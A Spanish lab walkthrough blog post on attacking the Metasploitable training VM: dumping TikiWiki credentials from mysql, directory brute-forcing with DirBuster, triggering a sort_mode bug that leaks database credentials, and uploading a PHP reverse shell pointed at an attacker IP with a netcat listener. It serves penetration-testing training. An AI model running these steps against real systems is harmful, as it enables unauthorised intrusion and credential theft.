Quantcast
Channel: vidasConcurrentes
Viewing all articles
Browse latest Browse all 11

Entrenando con Metasploitable (II). Explotando aplicaciones web y obteniendo shell

$
0
0

En la última entrada comenzamos a explotar la distro de entrenamiento Metasploitable. Hoy continuaremos desde donde lo dejamos el otro día e incluiremos distintas maneras de conseguir los mismos resultados. El último día nos quedamos dentro de mysql, hoy echaremos un vistazo para ver que bases de datos hay y como podemos explotar esas aplicaciones web. Después realizaremos un escaneo de directorios mediante diccionario como método alternativo en caso de no haber conseguido acceso a mysql. Aprovecharemos un par de vulnerabilidades de la aplicación web para obtener los datos de conexión a la base de datos (que ya los tenemos, pero lo proponemos como método alternativo) y para obtener una shell. Por último realizaremos un ataque de diccionario contra el servicio SSH.

Comenzamos!!

Lo último que hicimos el otro día fue obtener acceso a mysql y obtener el archivo de passwords (/etc/passwd). Si queremos ver las bases de datos que aloja el servidor mysql solo tenemos que ejecutar:

show databases;

Esto nos devolverá lo siguiente:

Resultado de show databases;

Podemos observar que además de las bases de datos típicas de un servidor mysql existen 2 con nombre tikiwiki. Con una búsqueda en Google encontraremos que como pensabamos es un CMS de Wiki (http://info.tiki.org/).

Ahora usaremos la base de datos tikiwiki y consultaremos sobre las tablas que aloja:

mysql> show tables;
+------------------------------------+
| Tables_in_tikiwiki                 |
+------------------------------------+
| galaxia_activities                 |
| galaxia_activity_roles             |
| galaxia_instance_activities        |
| galaxia_instance_comments          |
| galaxia_instances                  |
| galaxia_processes                  |
| galaxia_roles                      |
| galaxia_transitions                |
| galaxia_user_roles                 |
| galaxia_workitems                  |
| messu_archive                      |
| messu_messages                     |
| messu_sent                         |
| sessions                           |
| tiki_actionlog                     |
| tiki_article_types                 |
| tiki_articles                      |
| tiki_banners                       |
| tiki_banning                       |
| tiki_banning_sections              |
| tiki_blog_activity                 |
| tiki_blog_posts                    |
| tiki_blog_posts_images             |
| tiki_blogs                         |
| tiki_calendar_categories           |
| tiki_calendar_items                |
| tiki_calendar_locations            |
| tiki_calendar_roles                |
| tiki_calendars                     |
| tiki_categories                    |
| tiki_categorized_objects           |
| tiki_category_objects              |
| tiki_category_sites                |
| tiki_chart_items                   |
| tiki_charts                        |
| tiki_charts_rankings               |
| tiki_charts_votes                  |
| tiki_chat_channels                 |
| tiki_chat_messages                 |
| tiki_chat_users                    |
| tiki_comments                      |
| tiki_content                       |
| tiki_content_templates             |
| tiki_content_templates_sections    |
| tiki_cookies                       |
| tiki_copyrights                    |
| tiki_directory_categories          |
| tiki_directory_search              |
| tiki_directory_sites               |
| tiki_download                      |
| tiki_drawings                      |
| tiki_dsn                           |
| tiki_dynamic_variables             |
| tiki_eph                           |
| tiki_extwiki                       |
| tiki_faq_questions                 |
| tiki_faqs                          |
| tiki_featured_links                |
| tiki_file_galleries                |
| tiki_file_handlers                 |
| tiki_files                         |
| tiki_forum_attachments             |
| tiki_forum_reads                   |
| tiki_forums                        |
| tiki_forums_queue                  |
| tiki_forums_reported               |
| tiki_friends                       |
| tiki_friendship_requests           |
| tiki_galleries                     |
| tiki_galleries_scales              |
| tiki_games                         |
| tiki_group_inclusion               |
| tiki_history                       |
| tiki_hotwords                      |
| tiki_html_pages                    |
| tiki_html_pages_dynamic_zones      |
| tiki_images                        |
| tiki_images_data                   |
| tiki_integrator_reps               |
| tiki_integrator_rules              |
| tiki_language                      |
| tiki_languages                     |
| tiki_link_cache                    |
| tiki_links                         |
| tiki_live_support_events           |
| tiki_live_support_message_comments |
| tiki_live_support_messages         |
| tiki_live_support_modules          |
| tiki_live_support_operators        |
| tiki_live_support_requests         |
| tiki_logs                          |
| tiki_mail_events                   |
| tiki_mailin_accounts               |
| tiki_menu_languages                |
| tiki_menu_options                  |
| tiki_menus                         |
| tiki_minical_events                |
| tiki_minical_topics                |
| tiki_modules                       |
| tiki_newsletter_groups             |
| tiki_newsletter_subscriptions      |
| tiki_newsletters                   |
| tiki_newsreader_marks              |
| tiki_newsreader_servers            |
| tiki_object_ratings                |
| tiki_page_footnotes                |
| tiki_pages                         |
| tiki_pageviews                     |
| tiki_poll_objects                  |
| tiki_poll_options                  |
| tiki_polls                         |
| tiki_preferences                   |
| tiki_private_messages              |
| tiki_programmed_content            |
| tiki_quicktags                     |
| tiki_quiz_question_options         |
| tiki_quiz_questions                |
| tiki_quiz_results                  |
| tiki_quiz_stats                    |
| tiki_quiz_stats_sum                |
| tiki_quizzes                       |
| tiki_received_articles             |
| tiki_received_pages                |
| tiki_referer_stats                 |
| tiki_related_categories            |
| tiki_rss_feeds                     |
| tiki_rss_modules                   |
| tiki_score                         |
| tiki_search_stats                  |
| tiki_searchindex                   |
| tiki_searchsyllable                |
| tiki_searchwords                   |
| tiki_secdb                         |
| tiki_semaphores                    |
| tiki_sent_newsletters              |
| tiki_sessions                      |
| tiki_sheet_layout                  |
| tiki_sheet_values                  |
| tiki_sheets                        |
| tiki_shoutbox                      |
| tiki_shoutbox_words                |
| tiki_stats                         |
| tiki_structure_versions            |
| tiki_structures                    |
| tiki_submissions                   |
| tiki_suggested_faq_questions       |
| tiki_survey_question_options       |
| tiki_survey_questions              |
| tiki_surveys                       |
| tiki_tags                          |
| tiki_theme_control_categs          |
| tiki_theme_control_objects         |
| tiki_theme_control_sections        |
| tiki_topics                        |
| tiki_tracker_fields                |
| tiki_tracker_item_attachments      |
| tiki_tracker_item_comments         |
| tiki_tracker_item_fields           |
| tiki_tracker_items                 |
| tiki_tracker_options               |
| tiki_trackers                      |
| tiki_translated_objects            |
| tiki_untranslated                  |
| tiki_user_answers                  |
| tiki_user_answers_uploads          |
| tiki_user_assigned_modules         |
| tiki_user_bookmarks_folders        |
| tiki_user_bookmarks_urls           |
| tiki_user_mail_accounts            |
| tiki_user_menus                    |
| tiki_user_modules                  |
| tiki_user_notes                    |
| tiki_user_postings                 |
| tiki_user_preferences              |
| tiki_user_quizzes                  |
| tiki_user_taken_quizzes            |
| tiki_user_tasks                    |
| tiki_user_tasks_history            |
| tiki_user_votings                  |
| tiki_user_watches                  |
| tiki_userfiles                     |
| tiki_userpoints                    |
| tiki_users                         |
| tiki_users_score                   |
| tiki_webmail_contacts              |
| tiki_webmail_messages              |
| tiki_wiki_attachments              |
| tiki_zones                         |
| users_grouppermissions             |
| users_groups                       |
| users_objectpermissions            |
| users_permissions                  |
| users_usergroups                   |
| users_users                        |
+------------------------------------+
194 rows in set (0.01 sec)

A mi modo de ver, la tabla más interesante es users_users. Haremos una consulta para que nos devuelva todo el contenido de dicha tabla:

select * from users_users

Esta consulta nos devuelve las credenciales de acceso a tikiwiki

Ya tenemos las credenciales de acceso admin/admin.

Método alternativo

Si no hubieramos tenido acceso al servicio mysql no podríamos haber obtenido toda esta información…¿o si? Vamos a proponer un método alternativo para obtener datos de la aplicación web corriendo en el servidor. Para ello utilizaremos DirBuster que es un escaner de directorios mediante diccionario escrito en java. Para ejecutarlo accederemos a la carpeta /pentest/web/dirbuster/:

java -jar DirBuster-0.12 -u http://192.168.0.2

Nos aparecerá una interfaz gráfica donde podremos configurar algunas opciones tales como que diccionarios queremos utilizar, en este caso hemos usado directory-list-2.3-small.txt (Los diccionarios vienen incluidos)

DirBuster de OWASP

DirBuster encontrando /tikiwiki/

Como podemos ver en la imagen, DirBuster ha encontrado el directorio /tikiwiki/. Si entramos con el navegador web a http://192.168.0.2/tikiwiki/ nos aparecerá esto:

Tikiwiki

Ahora buscaremos en exploit-db algun exploit para utilizar con tikiwiki. En nuestro caso hemos elegido esta. El bug provoca un error que hace que podamos obtener las credenciales de acceso de mysql. Solo tenemos que entrar a http://192.168.0.2/tikiwiki/tiki-listpages.php?offset=0&sort_mode= y observaremos esto:

tikiwiki sort_mode bug

Ahora podemos volver al principio del post y conectar con el servicio mysql para obtener las credenciales admin/admin del administrador de tikiwiki. Ahora, utilizaremos el servicio de backups de tikiwiki para subir una reverse shell en php y conectarnos desde netcat.

Obteniendo una shell

Nos logueamos con las credenciales admin/admin y nos saldrá esto, para cambiar la contraseña:

Cambio de contraseña

Una vez cambiada podemos ir al apartado backups de la barra izquierda y subir la reverse shell, pero antes hay que modificarla. Abrimos el archivo php-reverse-shell.php con el editor de texto de nuestra elección y modificamos las siguientes lineas, poniendo la ip de la máquina a la que queramos conectarnos y el puerto:

$ip = '192.168.0.6';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

Subiendo la reverse shell

Una vez subida nos hace falta poner un netcat en escucha, que lo haremos con el comando

nc -vnlp 1234

Ahora, si accedemos a http://192.168.0.2/tikiwiki/backups/prs.php (prs.php es el nombre que yo he dado al archivo de la shell) veremos lo siguiente en netcat:

Netcat con la shell obtenida

Esto es todo por hoy, en sucesivas entradas seguiremos explotando distintos servicios de Metasploitable.
Happy training ;)


Viewing all articles
Browse latest Browse all 11